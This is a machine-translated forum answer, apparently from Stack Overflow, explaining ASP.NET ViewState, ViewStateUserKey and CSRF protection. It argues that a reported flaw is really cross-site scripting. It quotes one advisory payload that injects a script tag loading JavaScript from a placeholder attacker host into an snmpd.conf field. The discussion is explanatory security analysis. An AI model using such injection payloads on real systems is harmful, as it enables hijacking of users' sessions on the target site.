2012-07-22 76 views

回答

1

viewstate是一種意味着持續跨回發的視圖狀態(即控件的屬性值)。如果這個狀態可以被攻擊者猜出或者僞造,那麼攻擊者也可以僞造一個真實的跨站請求。

mentioned case,似乎攻擊實際上需要一個跨站點腳本漏洞的CSRF攻擊:

通過XSS和CSRF的組合,用戶可以添加到Web應用程序通過配置snmpd.conf文件到指向一個攻擊者控制的JavaScript文件:

syscontact <script src="http://attacker/evil.js"></script> 

所以具有目標原點內執行的攻擊代碼,該請求僞造攻擊不是「截面-S ite'。除此之外,由於視圖狀態在某些情況下可以預測,因此不能防止CSRF攻擊,供應商向視圖狀態機制添加了一些不可預知的信息。在ASP.NET中,這被稱爲ViewStateUserKey property,它基本上是每個用戶的私有密鑰,用於視圖狀態的MAC計算。

但由於該漏洞的描述說,似乎他們已經在使用這樣的保護措施:

[...] NPM也容易受到CSRF攻擊,儘管它利用VIEWSTATE保護的事實。

因此,這又是一個跨站點腳本漏洞,而不是跨站點請求僞造漏洞。因爲如果您已經能夠從網站內執行JavaScript代碼,則您已經完全控制網站。

+0

謝謝!所以如果我正確地理解了這個問題,如果目標系統沒有XSS的可靠性,並且不使用ViewStateUserKey屬性,那麼給定的請求仍然容易受到CSRF的影響? – rook 2012-07-22 21:22:56

+0

@Rook它主要取決於存儲在視圖狀態中的信息以及這些信息是否可預測。有時視圖狀態也包含某種隨每個請求而增加的計數器,因此不太可預測。但它可能在某些情況下。 – Gumbo 2012-07-22 21:43:52